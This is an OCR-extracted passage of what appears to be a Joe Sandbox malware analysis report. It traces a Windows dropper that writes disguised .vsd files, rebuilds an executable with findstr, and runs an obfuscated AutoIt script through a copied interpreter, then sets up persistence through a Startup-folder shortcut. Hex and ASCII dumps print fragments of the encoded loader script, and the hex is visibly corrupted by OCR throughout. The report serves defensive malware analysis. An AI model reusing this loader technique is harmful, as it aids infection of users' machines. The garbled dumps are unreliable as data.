C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Che.vsd

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Lineamento.vsd

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Poi.vsd

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Veduto.vsd

File Written

File Path Offset

Access

read data or list

C, C++ or other language

low

Attributes

device

directory |

synchro

read data or list

nize

device

directory |

synchro

read attributes |

synchro
generic

read attributes |

synchro
generic

read attributes |

synchro
generic

read attributes |

synchro
generic

nize

device
nize |
write
device
nize |
write
device
nize |
write
device
nize |
write

Length Value

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Che.vsd unknown 262144 6e 5a 77 53 5a 4a 64
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5153 5a 77 4b 42 57
4a 43 74 70 62 66 5a
48 4e 77 7a 73 58 41
4c 75 67 56 50 73 62
69 6b 63 4c 47 6d 6¢
54 51 4d 53 4a 47 6b
55 55 74 52 6f 48 51
6b 5a 6d 48 4¢c 51 79
4c 4c¢ 75 56 70 6e 43
64 49 6e 52 51 50 4e
57 66 42 49 73 67 51
6b 70 72 47 4b 47 57
6b 57 72 55 4a 74 69
79 46 58 6d 69 4a 44
6b 47 71 61 53 72 67
4b 58 5a 78 42 67 41
42 65 67 6d 53 0d Oa
90 00 03 00 00 00 04
00 00 00 ff ff 00 00 b8
00 00 00 00 00 00 00
40 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 18 01 00 00 Oe 1f
ba Oe 00 b4 09 cd 21
b8 01 4c cd 21 54 68
69 73 20 70 72 6f 67
72 61 6d 20 63 61 6e
6e 6f 74 20 62 65 20
7275 6e 20 69 6e 20
44 4f 53 20 6d 6f 64 65
2e 0d 0d 0Oa 24 00 00
00 00 00 00 00 c4 c6
f2

Source

Options Completion Count Address Symbol

directory file | success or wait 1 40309F
synchronous io

non alert | open

for backup ident

| open reparse

point

CreateDirectoryW

directory file | 40309F
synchronous io

non alert | open

for backup ident

| open reparse

point

object name collision 1 CreateDirectoryW

synchronous io  success or wait 1 414000 CreateFileW
non alert | non

directory file

synchronous io  success or wait 1 414000 CreateFileW
non alert | non

directory file

synchronous io  success or wait 1 414000 CreateFileW
non alert | non

directory file

synchronous io  success or wait 1 414000 CreateFileW
non alert | non

directory file

Source

Ascii Completion Count Address Symbol

nZwSZJdQSZwKBWJCtpb success or wait 2
fZHNwzsXALu

gVPsbikcLGMITQMSJIGKU

UtRoHQkZmH

LQyLLuVpnCdInRQPNWf

BlsgQkprGKG

WkWrUJtiyFXmiJDkGgaSr

gKXZxBgAB

egms..

413F3A  WriteFile

.L.!This pro
gram cannot be run in
DOS mode....$..........
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File Path

Offset Length

Value

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Che.vsd unknown 262144 8b 04 85 d8 1f 4d 00

C:\Users\user\AppData\Roaming\
QhXpJEISYfDvrPPKg\Lineamento.vsd
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unknown 104668

80 64 08 28 fe ff 15 30
d3 49 00 50 e8 66 20 ff
ff 59 e9 19 ff ff ff 57 ff
15 bc d3 49 00 85 cO
75 47 ff 15 30 d3 49 00
8b f0 56 e8 47 20 ff ff
598b0b8bcl83el
3fcl1f8 06 6b c9 30 57
8b 04 85 d8 1f 4d 00
80 64 08 28 fe ff 15 60
d3 49 00 85 f6 0f 85 d7
fe ff ff e8 4f 20 ff ff c7
00 0d 00 00 00 €9 c7
fe ff ff 83 f8 02 75 07
8a 45 d4 Oc 40 eb Oa
83 f8 03 8a 45 d4 75
02 Oc 08 57 ff 33 88 45
ff 8 75 49 ff ff 8a 55 ff
59 59 8b 0b 80 ca 01
8b c1 88 55 ff 83 el 3f
c1f8 06 6b c9 30 88
55 d4 8b 04 85 d8 1f
4d 00 88 54 08 28 8b
Ob 8b c1 83 el 3fcl f8
06 6b c9 30 6 45 14
02 8b 04 85 d8 1f 4d
00 c6 44 08 29 00 74
Oe ff 33 e8 6b fd ff ff 8b
f0 59 85 f6 75 28 8d 45
fe c6 45 fe 00 50 ff 75
14 8d 75 d4 83 ec 18
6a 06 59 8b fc ff 33 f3
ab e8

24 44 58 41 75 50 75
6f 62 43 56 78 47 41
20 3d 20 57 46 7a 55
6Cc64724b 416172
45 6d 68 28 22 31 32
3924 3131332439
3724 3737243132
30 24 39 37 24 39 36
24 31 31 38 24 38 36
24313233243131
39243132312431
32382438342431
3238 24 38 39 22 2¢
37 29 0d Oa 23 4e 6f
54 72 61 79 49 63 6f
6e 0d Oa 0d Oa 46 75
6e 63 20 7a 70 6f 46
4b 50 4a 79 76 77 44
71 6b 66 6f 28 24 61
6b 4a 66 46 2c 24 41
52 4e 67 41 2c 24 51
56 55 57 2¢ 24 69 63
6a 72 53 29 0d Oa 4c
6f 63 61 6¢ 20 24 41
43 6¢ 6b 67 68 55 4e
71504763727057
49 4f 57 41 6f 5a 47 79
4a 72 56 6f 4e 6e 66
61 42 74 49 4a 4c 66
46 6e 77 46 61 50 79
68 42 68 58 6d 44 67
56 47 77 58 54 20 3d
20 27 41 6f 7a 74 69
67 4c 76 74 73 78 6d
6¢ 61 6f 62 6d 44 47
51 5a 63 43 48 6b 68
5571

Source

Ascii Completion Count Address Symbol

..... M..d.(..0.LPf .Y....
W...1..UG..0.L.V.G .Y...
2. KOW....M..d.(..." ...

success or wait 2 413F3A  WriteFile

.@.....E.u..W.3.E..ul.U.Y
Y.....U..2..k.0.U.....M..
T.(. k.0.E......M..D.
)-t..3.k....Y..u(E..E..P.u..
u...j.Y..3...

$DXAuUPuobCVXGA = success or wait 3 413F3A  WriteFile
WFzUIdrKAarEm
h("129$113$97$77$120$97
$96$118
$86$123$119$121$128$84
$128$89"
,7).#NoTraylcon....Func
zpoFK
PJyvwDgkfo($akJfF,$ARN
gA,$QVUW,$icjrS)..Local
$ACIkghUNgPGcr
pWIOWA0ZGyJrVoNnfaBtl
JLfFnwFaP
yhBhXmDgVGwXT =
‘AoztigLvtsxml
aobmDGQZcCHkhUq
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File Path

C:\Users\user\AppData\Roaming\
QhXpJEISYfDvrPPKg\Lineamento.vsd

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Poi.vsd

Copyright Joe Security LLC 2021

Offset Length

unknown 262144

unknown 119603

Value

63 49 45 6f 4d 67 6d
4c 27 0d 0a 24 37 34
20 3d 20 34 34 0d Oa
46 6f 72 20 24 4e 59 6f
69 4c 6f 68 71 42 6d
50 78 72 50 6e 68 6a
4359 7156 79 46 63
46 4d 6d 75 67 53 68
43 63 6b 72 43 5a 46
6a 46 6a 77 51 65 70
6576 72 20 3d 20 31
30 20 54 6f 20 33 33
0d Oa 4c 6f 63 61 6¢
2024 50 41 73 6e 65
73 4c 74 45 4b 52 54
52 6e 43 20 3d 20 27
48 77 44 49 6a 65 56
5a 52 6¢ 74 68 6d 59
69 4e 4c 4c 4355 49
6e 68 63 66 6d 62 4c
52 4b 64 68 4c 62 72
7258 71 64 4e 45 61
47 53 6a 27 0d Oa 4c
6f 63 61 6¢ 20 24 59
4e 41 65 61 43 5a 62
4153 4d 70 4b 57 4a
76 20 3d 20 45 78 65
63 75 74 65 28 57 46
7a 55 6c 6472 4b 41
61 72 45 6d 68 28 22
38392431323224
31323024313131
24 313136243130
3924 3739243132
31243736243131
34243131372431
3033

67 73 62 65 6b 66 45
70635064 4c 7877
45 47 Af 7a 79 66 6b

4c 57 59 4f 70 4e 51

65 4c 67 6d 79 6b 43
47 7479 4b 6¢ 4b 6¢C
57 48 64 59 6f 78 77

66 70 70 6a 59 64 43
63 6d 67 65 43 4f 69

4a 42 51 3d 6f 6e 58

42 4a 4a 56 46 77 50
67 48 50 71 7a 4f 4e

4274 68 69 55 71 6¢
46 52 49 48 56 72 6a
79 41 7a 5a 56 72 Af

414164 61664e 75
52 6e 77 70 71 78 6f

76 44 6e 68 6e 4e 57
52 71 67 4a 58 43 6f

7576 77 62 4b 59 71
4557 Af 46 6a 72 4e

61 47 62 56 4a 74 4a
58 55 4d 76 64 53 4a
6d 65 49 61 6¢ 58 4c
65 71 4d 66 63 69 53
47 4b 49 6b 4a 6f 6d

78 51 4f 67 6e 6d 70

426671787573 74
5479 68 65 75 65 64
47 4¢c 47 67 57 51 64
6¢ 72 6b 48 4a 6¢ 79
6b 55 0d Oa 4c 6e 42
41 4c 4c¢ 55 67 51 4f

4d 46 63 70 44 75 70
4e 79 6f 71 43 49 53

73 6b 50 4e 62 69 59
49 6¢ 70

Ascii

clEoMgmL'..$74 = 44..For
$NYoi
LohgBmPxrPnhjCYqVyFc
FMmugShCck
rCZFjFjwQepevr = 10 To
33..Local
$PAsnesLtEKRTRNC =
‘HwDljeV
ZRIthmYiNLLCUInhcfmbL
RKdhLbrrX
gqdNEaGSj'..Local
$YNAeaCZbASMpKWJIv =
Execute(WFzUIdrKAarEm
h(
"89$122$120$111$116$10
9$79%$121
$76$114$117$103

gsbekfEpcPdLxwEGOzyfk
LWYOpNQeL
gmykCGtyKIKIWHdY oxwfp
pjydCcmge
COiJBQ=0nXBJIVFwWPgH
PgzONBthiUq
IFRIHVrjyAzZVrOAAdafNu
Rnwpgxov
DnhnNWRqgJXCouvwbKY
gEWOFjrNaGh
VItIXUMvdSImelalXLegM
fciSGKIkJ
omxQOgnmpBfgxustTyhe
uedGLGgWQd
IrkHJlykU..LnBALLUgQOM
FcpDupNy
0qCISskPNbiYllp

Completion
success or wait 2
success or wait 1

Source

Count Address Symbol

413F3A  WriteFile

413F3A  WriteFile
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File Path

C:\Users\user\AppData\Roaming\
QhXpJEISYfDvrPPKg\Veduto.vsd

C:\Users\user\AppData\Roaming\
QhXpJEISYfDvrPPKg\Veduto.vsd

Copyright Joe Security LLC 2021

Offset Length
unknown 52394

unknown 262144

Value

el 3c 88 38 9d 7e b0
8e b9 6a ee b5 ab dO
db 95 84 51 8d 8d 2d
ca dc 27 ec bf 5f 3b 6e
7b 8a 09 63 d5 e3 4f 4f
8c 8d 50 d6 38 3d 5b
5b 70 84 88 04 e3 7f
47 b7 7e a2 98 5e 06
2210eb 32 6d 87 14
Ob 1b 96 32 75 4a 19 ff
2e de 0e 33937173
€6 20 d3 ¢4 11 27 dO
c3f184611cb4a3
82 ba 55 7e 8b 28 57
1f 2e 5e e9 1le 06 8c
baec70e548c8el
d1 93 e7 44 34 5f 68
7e 6d 24 40 70 3d fc
69 d7 3d c9 9d bd 46
be 09 67 68 a5 bc 3d
2a9b 0d 04 11 8d a4
0d 0f c3 81 3a f9 58 80
5332 3a709aa9 4c
3153 a3d0 78 02 b5
a2 9833 c8ee afe3 fa
ee 15 22 cd d4 a0 9b
7357 5a 7454 c1 51
72 b5 2250 34 c0 a7
9e 9f 84 ef d5 a8 64 84
la 1f b6 03 0a 95 fO 2e
6f 09 b6 02 42 8¢ 73
bb 87 8f c2 al fa 92 bf
e4 917 f8 29 5b fa e4
8f bf 7f a5 e9 c7 fO Ob
fe f6 18 a8 d6 4a ea

87 5a 66 bc b6 48 b4
39 3b 93 ea 36 8¢ b7
5c c6 52 ae 7f 7d ca
08 24 62 fb c6 28 75
7e 12 d7 71 57 af c8
la 4a 24 8c a4 09 a5
48 a9 2a 03 1e c2 9a
91 cadl 4b 20 a7 75
7e 10 51 68 fb b5 3a f9
00 d8 f0 bd 08 cb 87
01 eb eb 41 el 10 50
8 28 4f 0d 4c 2d bc 31
ff fb f0 3c 90 8e ce 89
38 7e 56 c6 23 bc b0
b9 ba 88 b8 99 94 5¢c
71 ce 38 3fa7 a5 32
97 9a 93 87 58 6e cc
Oc c1 87 a4 32 f8 d3 fO
9a 91 67 b3 57 de 6b
dac4 7c 1b Oc a8 ac
87 0f 16 35 83 b2 bc
42 21 0f a3 9e 96 30
49 9b 7d c2 f8 ee 4c
38 4a 0f a8 cd e8 97
8a lc 11 e7 d8 5 87
8e 31 ed 85 78 68 84
5c¢ 03 05 6f 5b 9e 61
26 df 7f 70 04 3c 44 02
6af3 63 00 39 44 21
b7 21 12 58 Oc 3c 38
€791 93 47 fb ab 8d 3f
9b 77 5d 00 e3 db 03
el 69 2e d3 b7 02 ec
5d 01 6a 68 ea 11 ba
65 c2 08 d5 3f cc 95
38 7b 19 89

Source

Ascii Completion Count Address Symbol
<8~ Qumn{ success or wait 1 413F3A  WriteFile
..C..00..P.8=[[p.....G.~. A"

2m

a.
_h~m$@p=.i

X.S2:p..L1S. x....3..
LML SWZLT.Qr."P4....
0. Bisi ).
............. I

.Zf.H.9;..6..\\R..}..$b..(u~. success or wait 1 413F3A WriteFile

U~.Qh..i.. A..P.(O.L-
1<

LB~V \q.82..2...X
n....2...g.Wk.|....5.

1..xh.\..o[.a&..p.<D.j.c.9D!.!
X.<8...G..2.W].....i.....].j
h...e...?..8{.
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File Path Offset

C:\Users\user\AppData\Roaming\ unknown 25430

QhXpJEISYfDvrPPKg\Veduto.vsd

Length Value Ascii

Completion

0e1da928c99795 ..(...q?0. 3F..Pfg.....R...  success or wait
08 c2 71 3f 4f 320 33 .#CUKZ..
46 b7 €350 66 67 c2  1.x.XU... .
bc bd c3d4 52 ce flfa 1..0.Q..v !
e42343554b5a15 X6 i
b4 e51e 83 2eebcc
73655132 d2ba7e
6e f3 d6 d4 03 21 b5
103197 12788878
55 95 83 bb 1e 92 c8
ab c3 5d b7 aa 88 c1
0a 2c 60 23 5a 1b 76
58 9e 15 fa 31 9f a8 97
6f b6 51 aa Oa 76 9a
8301 83 a6 1a 98 8f
91 27 €5 11 ff b0 08 c6
¢4 94 0d 2d 04 58 36
9e 9 8d b5 08 98 9f
b4 ce 69 f2 12 2b 9f d1
28 b5 f0 2d f1 ac dc ff
c37089 147003 12
2b 76 3b 3a 07 ad f8
56 9b e3 ea 10 5f 7b
a8 45 48 9b e5 37 31
92 a9 a3 5a al 54 ae
01 3b b8 fe ae 11 70
38 81 b4 bl 6f 55 4a
a7 68 fb 33 c9 a4 8a
Oa 84 98 46 fa 7e 5d
59 30 8c 6f 99 f1 5d 33
ea af 2b 3d a2 1a f6 b9
19 Oe f6 f2 48 ad a3 0d
46 b4 a7 55 20 99 fc
60 fd 64 c7 70 Ob a8
a2 21 f2 d7 f7 20 d7 91

Source

Count Address Symbol

1

413F3A  WriteFile

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Users\user\Desktop\WDnE51mua6.exe unknown 4096 success or wait 44 413EBD ReadFile
C:\Users\user\Desktop\WDnE51mua6.exe unknown 4096 success or wait 516  413EBD ReadFile
C:\Users\user\Desktop\WDnE51mua6.exe unknown 4096 success or wait 44 413EBD ReadFile
C:\Users\user\Desktop\WDnE51mua6.exe unknown 12061 success or wait 1 413EBD ReadFile
C:\Users\user\Desktop\WDnE51mua6.exe unknown 78717 success or wait 1 413EBD ReadFile

Analysis Process: svchost.exe PID: 5744 Parent PID: 3000
General
Start time: 10:50:23
Start date: 08/04/2021
Path: C:\Windows\SysWOW64\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

'C:\Windows\System32\svchost.exe'
0xf60000

44520 bytes
FA6C268A5B5BDA067A901764D203D433
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: cmd.exe PID: 3908 Parent PID: 3000

General

Start time: 10:50:25

Copyright Joe Security LLC 2021
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Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

08/04/2021

C:\Windows\SysWOW64\cmd.exe

true

‘C:\Windows\System32\cmd.exe' /c CmD < Poi.vsd
0x2a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Analysis Process: conhost.exe PID: 724 Parent PID: 3908
General
Start time: 10:50:27
Start date: 08/04/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff61de10000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: cmd.exe PID: 5720 Parent PID: 3908
General
Start time: 10:50:30
Start date: 08/04/2021
Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

CmD

0x2a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high

File Activities

File Created
File Path Access Attributes Options Completion
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com read attributes | device synchronous io  success or wait

synchronize |
generic write

Copyright Joe Security LLC 2021

non alert | non
directory file

Source

Count Address Symbol

1

2AD194 CreateFileW
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File Path
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D

File Written

File Path Offset

C:\Users\user\AppData\Roaming\
QhXpJEISYfDvrPPKg\Gia.exe.com

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D 0

File Read

File Path
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Poi.vsd
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Lineamento.vsd
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Poi.vsd

unknown 2

Access

read data or list device
directory | read
attributes |

delete | write

dac |

synchronize |

generic read |

generic write

Length Value
4d 5a

262144 24 4458 41 7550 75
6f 62 43 56 78 47 41
20 3d 20 57 46 7a 55
6Cc64724b 416172
45 6d 68 28 22 31 32
3924 3131332439
3724 3737243132
30 24 39 37 24 39 36
24 31 31 38 24 38 36
24313233243131
39243132312431
32382438342431
3238 24 38 39 22 2¢
37 29 0d Oa 23 4e 6f
54 72 61 79 49 63 6f
6e 0d Oa 0d Oa 46 75
6e 63 20 7a 70 6f 46
4b 50 4a 7976 77 44
71 6b 66 6f 28 24 61
6b 4a 66 46 2c 24 41
52 4e 67 41 2c 2451
56 55 57 2¢ 24 69 63
6a 72 53 29 0d Oa 4c
6f 63 61 6¢ 20 24 41
43 6¢ 6b 67 68 55 4e
71504763727057
49 4f 57 41 6f 5a 47
79 4a 72 56 6f 4e 6e
66 61 42 74 49 4a 4c
66 46 6e 77 46 61 50
79 68 42 68 58 6d 44
67 56 47 77 58 54 20
3d 20 27 41 6f 7a 74
6967 4c 76747378
6d 6¢ 61 6f 62 6d 44
47 51 5a 63 43 48 6b
68 55 71

Offset

unknown
unknown 1
unknown

unknown

Attributes

Options Completion

sequential only | success or wait
non directory file

Ascii Completion

Mz success or wait

$DXAUPUObCVXGA =
WFzUIdrKAarEm
h("129$113$97$77$120$97
$96$118
$86$123$119$121$128$84
$128%$89"
,7).#NoTraylcon....Func
zpoFK
PJyvwDgkfo($akJfF,$ARN
gA $QVUW,$icjrS)..Local
$ACIkghUNgPGcr
pWIOWA0ZGyJrVoNnfaBtl
JLfFnwFaP
yhBhXmDgVGwXT =
‘AoztigLvtsxml
aobmDGQZcCHkhUq

success or wait

Length
8191

Completion

512

8191 end of file

success or wait
success or wait 1

success or wait 1

Source
Count Address Symbol

1 2A4E97 CopyFileExW

Source
Count Address Symbol

1 2B2837 WriteFile

4 2A4E97 CopyFileExW

Source

Count Address Symbol
589  2AFB07 ReadFile
2AD2A9 ReadFile
2A5742 ReadFile

1 2AFB07 ReadFile

Analysis Process: findstr.exe PID: 4808 Parent PID: 5720

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

Copyright Joe Security LLC 2021

10:50:35

08/04/2021

C:\Windows\SysWOW64\findstr.exe
true

findstr /V /R '""nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGMITQMSJIGKUUtR
0HQKZmHLQyLLuVpnCdInRQPNW{BIsgQkprGKGWkWrUJtiyFXmiJDkGgaSrgK
XZxBgABegmS$' Che.vsd

0xe00000
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File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

File Activities

File Path

File Written

File Path

C:\Users\user\AppData\Roaming\
QhXpJEISYfDvrPPKg\Gia.exe.com

Copyright Joe Security LLC 2021

Offset

unknown 8192

29696 bytes

8B534A7FC0630DE41BB1F98C882C19EC

true

true

C, C++ or other language

Length Value

moderate
Access Attributes Options
Ascii
900003 00000004 ..ooooeevceeeines @.......
00 00 00 ff ff 00 00 b8
00 00 00 00 00 00 00 ..L.IThis program ¢
40 00 00 00 00 00 00  annot be run in DOS
00 00 00 00 000000 mode....$.
00000000000000 ... ;o-h..h..h4;mh...h
00 00 00 00 00 0000  4;0h...h4;nh...h..[h...h...i..
00000000000000 .h..i..h...i..h..h..h..h

00 18 01 00 00 Oe 1f
ba Oe 00 b4 09 cd 21
b8 01 4c cd 21 54 68
69 73 20 70 72 6f 67
72 61 6d 20 63 61 6e
6e 6f 74 20 62 65 20
72 75 6e 20 69 6e 20
44 4f 53 20 6d 6f 64 65
2e 0d 0d 0a 24 00 00
00 00 00 00 00 c4 c6
f2 3b 80 a7 9c 68 80
a7 9c 68 80 a7 9c 68
34 3b 6d 68 a3 a7 9c
68 34 3b 6f 68 1d a7
9c 68 34 3b 6e 68 a3
a7 9c 68 1le 07 5b 68
81 a7 9c 68 d2 cf 99
69 ad a7 9c 68 d2 cf
98 69 92 a7 9c 68 d2
cf 9f 69 95 a7 9c 68 89
df 1f 68 89 a7 9c 68 89
df of 68 a5 a7 9c 68 80
a7 9d 68 a9 a5 9c 68
13 ce 9269 d1 a7 9c
68 13 ce 9f 69 81 a7
9c 68 13 ce 63 68 81
a7 9c 68 80 a7 Ob 68
82a79c 6813

..h.h.h.i.h.i.h.
ch...h..h..h.

Completion

Completion

success or wait

Source
Count Address Symbol

Source
Count Address Symbol

115 E03277 WriteFile
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Roaming\ unknown 1702 73d11636flbc5e  s.6./..x.vy.l.... g... success or wait 1 E03359 WriteFile
QhXpJEISYfDvrPPKg\Gia.exe.com ec b4 80 98 78 fc d2
7679e8e€12194e0 .=dj;NF.*].....t.b.#\*8....
1fc4a2elaa67db ... (...id*....s..F....n....
b39c73e54022cf G.Vt.GxX...+.l....P{... x.
39cedbe67795a7 ... }.....DN.nz. .6..P.
bb b2 cb 6 19 86 9d 9f 0.._
c8d49805b2 71 6f *H...... OL1 0...U....Global
4e 75 ae f1 3d 64 6a  Sign Root CA -
3b 5e 4e 46 a6 2a 5d
08 92 f1 a3 f3 1d 74 bf
62 0d 23 8c 5¢c 2a 38
95 d2 c0 d5 cd cf 88
da 1f 28 b5 ba 81 69
64 2a b5 a6 a2 d5 73
af dc 46 db 04 ae 91
d7 6e c5 98 ba d4 47
c4 56 74 80 47 78 58
8c be ef 2b fd ec 6¢ bf
d1 94 7 bf 50 e0 7b e0
90 fd 20 18 78 18 22
5d 08 2e 8c 1c a0 97
f31d 99 7d a3 9d 91
d3 06 44 4e 04 6e 7a
1c 20 e3 36 fO b6 50
b9 30 82 03 5f 30 82
02 47 a0 03 02 01 02
02 0b 04 00 00 00 00
0121585308 a2 30
0d 06 09 2a 86 48 86
f7 0d 01 01 Ob 05 00
30 4c 31 20 30 1e 06
035504 0b 13 17 47
6c 6f 62 61 6¢ 53 69
67 6e 20 52 6f 6f 74 20
4341 20 2d 20
Analysis Process: Gia.exe.com PID: 2904 Parent PID: 5720
General
Start time: 10:50:36
Start date: 08/04/2021
Path: C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com
Wow64 process (32bit): true
Commandline: Gia.exe.com D
Imagebase: 0x7ff6c59a0000
File size: 943784 bytes
MDS5 hash: 78BA0653A340BAC5FF152B21A83626CC
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65536 success or wait 16 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 4096 end of file 1 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65024 end of file 1 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65536 success or wait 16 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 4096 end of file 1 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65536 success or wait 1 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65536 success or wait 13 8B8492 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65536 success or wait 1 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65536 end of file 1 8B8492 ReadFile
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Analysis Process: Gia.exe.com PID: 5596 Parent PID: 2904

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\AppData\Roaming\zPgFqFUsML

C:\Users\user\AppData\Roaming\zPgFgFUsML\I

C:\Users\user\AppData\Roaming\zPgFgFUsML\juROhmfLml.exe.com

C:\Users\user\AppData\Roaming\zPgFqFUsML\Veduto.vsd

C:\Users\user\AppData\Roaming\zPgFqFUsML\WAYZgHgYEOdcYU.js

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\P

rograms\Startup\juROhmfLml.url

File Deleted

File Path

C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Veduto.vsd

File Written

File Path

Copyright Joe Security LLC 2021

Access

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic read |
generic write

Length Value

10:50:37

08/04/2021

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com

true

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com D

0x8b0000

943784 bytes

78BA0653A340BAC5FF152B21A83626CC

true

true

C, C++ or other language

moderate

Attributes

device

device

device

device

device

device

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

Ascii

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion
success or wait

success or wait

Completion

Count

1
1

Source
Address

91DA81

8B31C9

8B31C9

8B31C9

8B31C9

8B31C9

Symbol
CreateDirectoryW

CreateFileWw

CreateFileWw

CreateFileWw

CreateFileWw

CreateFileWw

Source
Count Address Symbol

91DBD8 DeleteFileW

91DBD8 DeleteFileW

Source

Count Address Symbol
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File Path
C:\Users\user\AppData\Roaming\zPgFgFUsML\I

C:\Users\user\AppData\Roaming\
zPgFgFUsML\juROhmfLml.exe.com

Copyright Joe Security LLC 2021

Offset Length Value

unknown 981247

unknown 943784

24 44 58 41 75 50 75
6f 62 43 56 78 47 41
20 3d 20 57 46 7a 55
6Cc64724b 416172
45 6d 68 28 22 31 32
3924 3131332439
3724 3737243132
30 24 39 37 24 39 36
24 31 31 38 24 38 36
24313233243131
39243132312431
32382438342431
3238 24 38 39 22 2¢
37 29 0d Oa 23 4e 6f
54 72 61 79 49 63 6f
6e 0d Oa 0d Oa 46 75
6e 63 20 7a 70 6f 46
4b 50 4a 79 76 77 44
71 6b 66 6f 28 24 61
6b 4a 66 46 2c 24 41
52 4e 67 41 2c 24 51
56 55 57 2¢ 24 69 63
6a 72 53 29 0d Oa 4c
6f 63 61 6¢ 20 24 41
43 6¢ 6b 67 68 55 4e
71504763727057
49 4f 57 41 6f 5a 47 79
4a 72 56 6f 4e 6e 66
61 42 74 49 4a 4c 66
46 6e 77 46 61 50 79
68 42 68 58 6d 44 67
56 47 77 58 54 20 3d
20 27 41 6f 7a 74 69
67 4c 76 74 73 78 6d
6¢ 61 6f 62 6d 44 47
51 5a 63 43 48 6b 68
5571

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 18 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24
00 00 00 00 00 00 00
c4 c6 f23b 80 a7 9c
68 80 a7 9c 68 80 a7
9c 68 34 3b 6d 68 a3
a7 9c 68 34 3b 6f 68
1d a7 9c 68 34 3b 6e
68 a3 a7 9c 68 1e 07
5b 68 81 a7 9c 68 d2
cf 99 69 ad a7 9c 68
d2 cf 98 69 92 a7 9c
68 d2 cf 9f 69 95 a7 9c
68 89 df 1f 68 89 a7 9¢c
